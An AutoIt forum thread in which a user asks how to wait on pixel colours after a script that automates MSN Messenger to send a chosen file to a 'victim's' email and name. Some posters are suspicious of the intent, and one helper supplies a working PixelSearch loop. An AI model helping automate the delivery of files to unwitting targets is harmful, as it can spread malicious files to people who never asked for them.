Jump to content

PixelSearch Question :)


AceLoc
 Share

Recommended Posts

so i got this now:

$Zcontrol = "Edit1"
$msncontrol = "DirectUIHWND1"
$filesent = InputBox("Sent File:", "File Location:", "", "", 100, 10)
ToolTip("Copying File: " & $filesent, 0, 0)
$msnscreen = InputBox("Email:", "Victim's Email:", "", "", 100, 10)
$msnname = InputBox("Msn Name:", "Victim's MSN Name:", "", "", 100, 10)
$email = $msnscreen
$oMessenger = ObjCreate("Messenger.UIAutomation.1")
$oMessenger.InstantMessage($email)
WinWaitActive($msnname)
ControlSend($msnname, "", $msncontrol, "{F10}")
ControlSend($msnname, "", $msncontrol, "b")
ControlSend($msnname, "", $msncontrol, "b")
WinWaitActive("Bestand verzenden naar " & $msnname)
ControlSend("Bestand verzenden naar " & $msnname, "", $Zcontrol, $filesent)
ControlSend("Bestand verzenden naar " & $msnname, "", $Zcontrol, "{ENTER}")
WinWaitActive($msnname)
ToolTip("Sending File: " & $filesent & " To " & $msnscreen, 0, 0)

okay i will say exactly what i need very clear

after that.. he needs to wait/pause till one of these Color's appear

If

>>>>>>>>>>> Pixel Color Under Mouse <<<<<<<<<<<
RGB:    Hex: 0x5FFF3F   Dec: 6291263

Then Run("notepad.exe")

If

>>>>>>>>>>> Pixel Color Under Mouse <<<<<<<<<<<
RGB:    Hex: 0x800000   Dec: 8388608

Then MsgBox(0, "Error:", "File Transfer Cancelled") or/and Exit

any idea's how to do this.. or some examples would be nice.

and yes i did look on the helpfile (PixelSearch) and already tried several things

and i will keep trying.. but help will be appreciated.

Thnk

[quote name='AceLoc']I gots new sunglasses there cool.[/quote]

Link to comment
Share on other sites

Victim's Email?

Victim's MSN Name?

What are you up to?

The last time I followed an aceloc thread, he was writing a spammer bot to harrass other people in an online game environment. Spam bots seem to be his primary interest in AutoIT. :)

Valuater's AutoIt 1-2-3, Class... Is now in Session!For those who want somebody to write the script for them: RentACoder"Any technology distinguishable from magic is insufficiently advanced." -- Geek's corollary to Clarke's law
Link to comment
Share on other sites

The last time I followed an aceloc thread, he was writing a spammer bot to harrass other people in an online game environment. Spam bots seem to be his primary interest in AutoIT. :)

not really.. dont even try to think what im making thats like 0.000000000001% of script

thnk

[quote name='AceLoc']I gots new sunglasses there cool.[/quote]

Link to comment
Share on other sites

You don't see any spamming code here...

These aren't the functions you're looking out for...

Nice try, but penguins are immune to Jedi mind tricks! And you're still a probable spam-bot factory who will get no help from me! :)

Valuater's AutoIt 1-2-3, Class... Is now in Session!For those who want somebody to write the script for them: RentACoder"Any technology distinguishable from magic is insufficiently advanced." -- Geek's corollary to Clarke's law
Link to comment
Share on other sites

P.S i never made a spambot.

My appologies. I went back to check and you were not the spammer jerk I was thinking of when I saw "aceloc".

You were the "I'm already waiting kinda long for this..." jerk.

I will endevor to keep my jerks straight in the future. :)

Valuater's AutoIt 1-2-3, Class... Is now in Session!For those who want somebody to write the script for them: RentACoder"Any technology distinguishable from magic is insufficiently advanced." -- Geek's corollary to Clarke's law
Link to comment
Share on other sites

in the code you posted, I do not see any evidence of either of the above quotes. Post some code of your PixelSearch() or PixelGetColor() attempts.

Lar.

$a = PixelSearch("", "", "", "", 0x5FFF3F )
If Not @error Then
    Run("notepad.exe")
EndIf

$b = PixelSearch("", "", "", "", 0x800000 )
If Not @error Then
    MsgBox(0, "Error:", "File Transfer Cancelled")
EndIf

i dont get the rest though .. how to pauze it till (one of those) are "found"

Thnk :)

Edited by aceloc

[quote name='AceLoc']I gots new sunglasses there cool.[/quote]

Link to comment
Share on other sites

While 1
$loop = 1
$a = PixelSearch("", "", "", "", 0x5FFF3F )
If Not @error Then
    Run("notepad.exe")
EndIf

$b = PixelSearch("", "", "", "", 0x800000 )
If Not @error Then
    MsgBox(0, "Error:", "File Transfer Cancelled")
EndIf
If $loop = 0 Then ExitLoop
WEnd

or sumthn? :/

[quote name='AceLoc']I gots new sunglasses there cool.[/quote]

Link to comment
Share on other sites

  • Moderators

While 1
$loop = 1
$a = PixelSearch("", "", "", "", 0x5FFF3F )
If Not @error Then
    Run("notepad.exe")
EndIf

$b = PixelSearch("", "", "", "", 0x800000 )
If Not @error Then
    MsgBox(0, "Error:", "File Transfer Cancelled")
EndIf
If $loop = 0 Then ExitLoop
WEnd

or sumthn? :/

Ok, you can call me a liar!!! I said I wouldn't post in your threads anymore, but I can't help it.

For as much as I've seen you tell others to RTFM, you seem to have a comprehension problem, or a complete lack of understanding on what a parameter is.

That attempt has to be the silliest attempt I've ever seen, I would rather see someone leave out parameters than to code coords with nothing!

Common sense plays a role in the basics of understanding AutoIt... If you're lacking in that, do us all a favor, and step away from the computer.

Link to comment
Share on other sites

what a lovely bunch of coconuts. lol

Local $loop = 1
While $loop = 1
$a = PixelSearch(0, 0, @DesktopWidth, @Desktopheight, 0x5FFF3F)
If Not @error Then
    Run("notepad.exe")
    $loop = 0
EndIf

$b = PixelSearch(0, 0, @DesktopWidth, @Desktopheight, 0x800000 )
If not @error Then
    MsgBox(0, "Error:", "File Transfer Cancelled")
    $loop = 0
EndIf
WEnd

I'm really not sure what your trying to do. But you can't just a leave a paramater with an empty string when it requires one.

PixelSearch($nX, $nY, $nRight, $nBottom, $fColor).

Edited by CHRIS95219
Link to comment
Share on other sites

what a lovely bunch of coconuts. lol

Local $loop = 1
While $loop = 1
$a = PixelSearch(0, 0, @DesktopWidth, @Desktopheight, 0x5FFF3F)
If Not @error Then
    Run("notepad.exe")
    $loop = 0
EndIf

$b = PixelSearch(0, 0, @DesktopWidth, @Desktopheight, 0x800000 )
If not @error Then
    MsgBox(0, "Error:", "File Transfer Cancelled")
    $loop = 0
EndIf
WEnd

I'm really not sure what your trying to do. But you can't just a leave a paramater with an empty string when it requires one.

PixelSearch($nX, $nY, $nRight, $nBottom, $fColor).

ahh oke.. thanks i guess i get it now D:

[quote name='AceLoc']I gots new sunglasses there cool.[/quote]

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...